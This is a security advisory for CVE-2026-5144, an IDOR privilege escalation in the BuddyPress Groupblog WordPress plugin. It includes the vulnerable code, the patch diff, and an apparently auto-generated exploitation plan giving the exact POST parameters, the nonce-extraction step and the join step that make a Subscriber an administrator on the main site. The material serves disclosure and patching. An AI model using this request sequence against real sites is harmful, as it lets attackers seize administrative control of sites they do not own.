CVE-2026-5144

BuddyPress Groupblog <= 1.9.3 - Authenticated (Subscriber+) Privilege Escalation to Administrator via Group Blog IDOR

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
1.9.4
Patched in
1d
Time to patch

Description

The BuddyPress Groupblog plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.3. This is due to the group blog settings handler accepting the `groupblog-blogid`, `default-member`, and `groupblog-silent-add` parameters from user input without proper authorization checks. The `groupblog-blogid` parameter allows any group admin (including Subscribers who create their own group) to associate their group with any blog on the Multisite network, including the main site (blog ID 1). The `default-member` parameter accepts any WordPress role, including `administrator`, without validation against a whitelist. When combined with `groupblog-silent-add`, any user who joins the attacker's group is automatically added to the targeted blog with the injected role. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate any user (including themselves via a second account) to Administrator on the main site of the Multisite network.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.9.3
PublishedApril 10, 2026
Last updatedApril 11, 2026
Affected pluginbp-groupblog

What Changed in the Fix

Changes introduced in v1.9.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5144 - BP Groupblog Privilege Escalation ## 1. Vulnerability Summary The **BuddyPress Groupblog** plugin (<= 1.9.3) is vulnerable to an IDOR-based Privilege Escalation. The plugin allows group administrators (which can be any WordPress user with the Subscriber…

Show full research plan

Exploitation Research Plan: CVE-2026-5144 - BP Groupblog Privilege Escalation

1. Vulnerability Summary

The BuddyPress Groupblog plugin (<= 1.9.3) is vulnerable to an IDOR-based Privilege Escalation. The plugin allows group administrators (which can be any WordPress user with the Subscriber role or higher, as they can create their own groups) to configure "Group Blog" settings.

The logic in groupblog_edit_settings() fails to verify if the current user has administrative rights over the blog_id provided in the groupblog-blogid parameter. Furthermore, it accepts a default-member parameter which defines the role assigned to users who join the group. Since this parameter is not validated against a whitelist, an attacker can specify administrator. When combined with groupblog-silent-add, any user joining the group is automatically promoted to Administrator on the targeted blog (usually the main site, ID 1).

2. Attack Vector Analysis

  • Endpoint: BuddyPress Group Management Admin Page.
  • URL Pattern: [site-url]/groups/[group-slug]/admin/group-blog/
  • Action/Hook: The settings are handled via groupblog_edit_settings(), which is called by the BuddyPress group extension API (specifically BP_Groupblog_Extension::edit_screen_save()).
  • Vulnerable Parameters:
    • groupblog-blogid: The ID of the blog to link (set to 1 for the main site).
    • default-member: The role to assign (set to administrator).
    • groupblog-silent-add: Enables auto-joining of group members to the blog.
    • groupblog-enable-blog: Must be present to trigger the logic.
    • groupblog-create-new: Set to no to bypass new blog creation and use an existing ID.
  • Authentication: Authenticated (Subscriber+). The user must be the administrator of a BuddyPress group.

3. Code Flow

  1. Entry Point: When a group admin saves settings in the "Group Blog" tab, BP_Groupblog_Extension::edit_screen_save() (in bp-groupblog-classes.php) is triggered.
  2. Logic Trigger: This calls groupblog_edit_settings() (in bp-groupblog.php).
  3. Insecure IDOR:
    // bp-groupblog.php:183
    } elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {
        // They're using an existing blog, so we try to assign that to $groupblog_blog_id.
        $groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;
    
    The code blindly trusts $_POST['groupblog-blogid'] without checking if the user is a member/admin of that blog.
  4. Role Injection:
    The function continues to save metadata (the snippet is truncated, but the description confirms default-member is saved to group meta).
  5. Privilege Escalation:
    When a user joins the group, the plugin retrieves the default-member role and the linked groupblog_blog_id. If groupblog-silent-add is enabled, it calls add_user_to_blog( $blog_id, $user_id, $role ). Since $role is administrator and $blog_id is 1, the user is promoted.

4. Nonce Acquisition Strategy

BuddyPress protects group management forms with nonces. To submit the settings, we need a nonce for the action groups_edit_group_settings.

  1. Create a Group: Use wp-cli to create a group owned by the attacker.
  2. Identify Shortcode/Script: The group admin pages are standard BuddyPress components. No specific plugin shortcode is needed, but we must navigate to the group's admin URL.
  3. Extraction Path:
    • Navigate to: [site-url]/groups/[attacker-group-slug]/admin/group-blog/
    • The nonce is usually in a hidden field named _wpnonce.
    • Browser Eval: browser_eval("document.querySelector('#_wpnonce').value") or check the _wpnonce field within the form id="group-settings-form".

5. Exploitation Strategy

Step 1: Initialize Attacker Environment

  • Log in as a Subscriber.
  • Create a BuddyPress group (becoming the Group Admin).

Step 2: Link Main Site to Group

Perform an http_request to save the malicious settings.

  • Method: POST
  • URL: [site-url]/groups/[attacker-group-slug]/admin/group-blog/
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    groupblog-group-id=[group_id]&
    groupblog-enable-blog=1&
    groupblog-create-new=no&
    groupblog-blogid=1&
    default-member=administrator&
    groupblog-silent-add=1&
    save=Save+Changes&
    _wpnonce=[extracted_nonce]
    

Step 3: Trigger Promotion

The attacker now needs to join the group or have another user join.

  • Method: POST to the BuddyPress join-group action.
  • URL: [site-url]/groups/[attacker-group-slug]/join/ (or via AJAX join_group action).

6. Test Data Setup

  1. Multisite Setup: Ensure WordPress is in Multisite mode.
  2. Plugin Setup: Install and activate bp-groupblog version 1.9.3.
  3. User Creation:
    • wp user create attacker attacker@example.com --role=subscriber
  4. Group Creation:
    • wp bp group create --name="Pwn Group" --slug="pwn-group" --creator_id=[attacker_id]
  5. Blog Discovery: Identify the main site ID (typically 1).

7. Expected Results

  • The POST request to /admin/group-blog/ returns a 302 redirect or a success message "Options saved".
  • Group metadata for pwn-group will now have groupblog_blog_id set to 1 and default_member_role set to administrator.
  • Upon joining the group, the attacker user's role on blog ID 1 is updated to administrator.

8. Verification Steps

  1. Check Metadata:
    • wp group meta get [group_id] groupblog_blog_id (Should be 1)
    • wp group meta get [group_id] default_member_role (Should be administrator)
  2. Check User Role:
    • wp user get attacker --url=[main-site-url] --field=roles (Should include administrator)
  3. Capability Test:
    • wp eval 'echo user_can([attacker_id], "manage_options") ? "VULNERABLE" : "SAFE";' --url=[main-site-url]

9. Alternative Approaches

If groupblog-silent-add does not trigger immediately upon the admin linking the blog:

  1. Invite a second account (puppet) to the group.
  2. The puppet joins the group via the invitation link.
  3. Check if the puppet is promoted to Administrator.
  4. Alternatively, check if groupblog_edit_settings accepts the group-admin-role parameter to escalate the group admin immediately. (The description implies default-member applies to anyone who joins).
Research Findings
Static analysis — not yet PoC-verified

Summary

The BuddyPress Groupblog plugin is vulnerable to privilege escalation in multisite environments because it fails to perform authorization and blog-ownership checks when linking a group to a blog. An authenticated attacker with Subscriber-level permissions can create a group and configure its settings to link to the main site (blog ID 1), setting the default membership role to 'administrator'. Consequently, any user joining the attacker's group is automatically granted the administrator role on the targeted blog.

Vulnerable Code

// bp-groupblog.php:175
function groupblog_edit_settings() {
	global $bp, $groupblog_blog_id, $errors, $filtered_results;

	$group_id = isset( $_POST['groupblog-group-id'] ) ? (int) $_POST['groupblog-group-id'] : bp_get_current_group_id();

	if ( ! bp_groupblog_blog_exists( $group_id ) ) {
		if ( isset( $_POST['groupblog-enable-blog'] ) ) {
			if ( isset( $_POST['groupblog-create-new'] ) && 'yes' === $_POST['groupblog-create-new'] ) {
				// ...
			} elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {
				// They're using an existing blog, so we try to assign that to $groupblog_blog_id.
				$groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;

---

// bp-groupblog.php:577 (in groupblog_edit_base_settings)
	// Set up some default roles.
	$groupblog_default_admin_role  = isset( $_POST['default-administrator'] ) ? sanitize_text_field( wp_unslash( $_POST['default-administrator'] ) ) : BP_GROUPBLOG_DEFAULT_ADMIN_ROLE;
	$groupblog_default_mod_role    = isset( $_POST['default-moderator'] ) ? sanitize_text_field( wp_unslash( $_POST['default-moderator'] ) ) : BP_GROUPBLOG_DEFAULT_MOD_ROLE;
	$groupblog_default_member_role = isset( $_POST['default-member'] ) ? sanitize_text_field( wp_unslash( $_POST['default-member'] ) ) : BP_GROUPBLOG_DEFAULT_MEMBER_ROLE;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/bp-groupblog/1.9.3/bp-groupblog.php /home/deploy/wp-safety.org/data/plugin-versions/bp-groupblog/1.9.4/bp-groupblog.php
--- /home/deploy/wp-safety.org/data/plugin-versions/bp-groupblog/1.9.3/bp-groupblog.php	2023-07-28 17:57:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/bp-groupblog/1.9.4/bp-groupblog.php	2026-03-30 17:50:36.000000000 +0000
@@ -175,6 +203,12 @@
 
 	$group_id = isset( $_POST['groupblog-group-id'] ) ? (int) $_POST['groupblog-group-id'] : bp_get_current_group_id();
 
+	// Authorization: only a group admin may change these settings.
+	if ( ! groups_is_user_admin( bp_loggedin_user_id(), $group_id ) ) {
+		bp_core_add_message( __( 'You do not have permission to manage this group blog.', 'bp-groupblog' ), 'error' );
+		return;
+	}
+
 	if ( ! bp_groupblog_blog_exists( $group_id ) ) {
 		if ( isset( $_POST['groupblog-enable-blog'] ) ) {
 			if ( isset( $_POST['groupblog-create-new'] ) && 'yes' === $_POST['groupblog-create-new'] ) {
@@ -188,6 +222,10 @@
 			} elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {
 				// They're using an existing blog, so we try to assign that to $groupblog_blog_id.
 				$groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;
+				// Validate that the current user is actually an admin of the submitted blog.
+				if ( $groupblog_blog_id && ! current_user_can_for_blog( $groupblog_blog_id, 'manage_options' ) ) {
+					$groupblog_blog_id = 0;
+				}
 				if ( ! $groupblog_blog_id ) {
 					// They forgot to choose a blog, so send them back and make them do it.
 					bp_core_add_message( __( 'Please choose one of your blogs from the drop-down menu.', 'bp-groupblog' ), 'error' );
@@ -221,6 +259,13 @@
 		}
 	}
 
+	// Validate submitted role values against the whitelist for this user.
+	foreach ( array( 'default-administrator', 'default-moderator', 'default-member' ) as $role_field ) {
+		if ( ! empty( $settings[ $role_field ] ) && ! bp_groupblog_is_role_allowed( $settings[ $role_field ] ) ) {
+			$settings[ $role_field ] = '';
+		}
+	}
+
 	if ( ! groupblog_edit_base_settings( $settings['groupblog-enable-blog'], $settings['groupblog-silent-add'], $settings['default-administrator'], $settings['default-moderator'], $settings['default-member'], $settings['page_template_layout'], $group_id, $groupblog_blog_id ) ) {
 		bp_core_add_message( __( 'There was an error creating your group blog, please try again.', 'bp-groupblog' ), 'error' );
 	} else {

Exploit Outline

The exploit requires an authenticated user (Subscriber or higher) on a WordPress Multisite installation with BuddyPress and BP Groupblog active. 1. The attacker creates a new BuddyPress group, which grants them Group Admin privileges for that specific group. 2. The attacker navigates to the 'Group Blog' admin settings page for their new group (`/groups/[slug]/admin/group-blog/`) and captures a valid `_wpnonce` from the form. 3. The attacker sends a POST request to the same URL to configure the group blog. The payload specifies `groupblog-blogid=1` to target the main site, `groupblog-create-new=no` to use an existing ID, `groupblog-silent-add=1` to automate user addition, and importantly, `default-member=administrator` to define the role for new members. 4. Because the plugin lacks authorization checks to verify if the group admin has permissions on blog ID 1, and lacks a whitelist for roles, these settings are saved to the group metadata. 5. The attacker (or any other user) then joins the group. The plugin retrieves the malicious metadata and calls `add_user_to_blog(1, [user_id], 'administrator')`, immediately escalating the user to an Administrator on the main site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.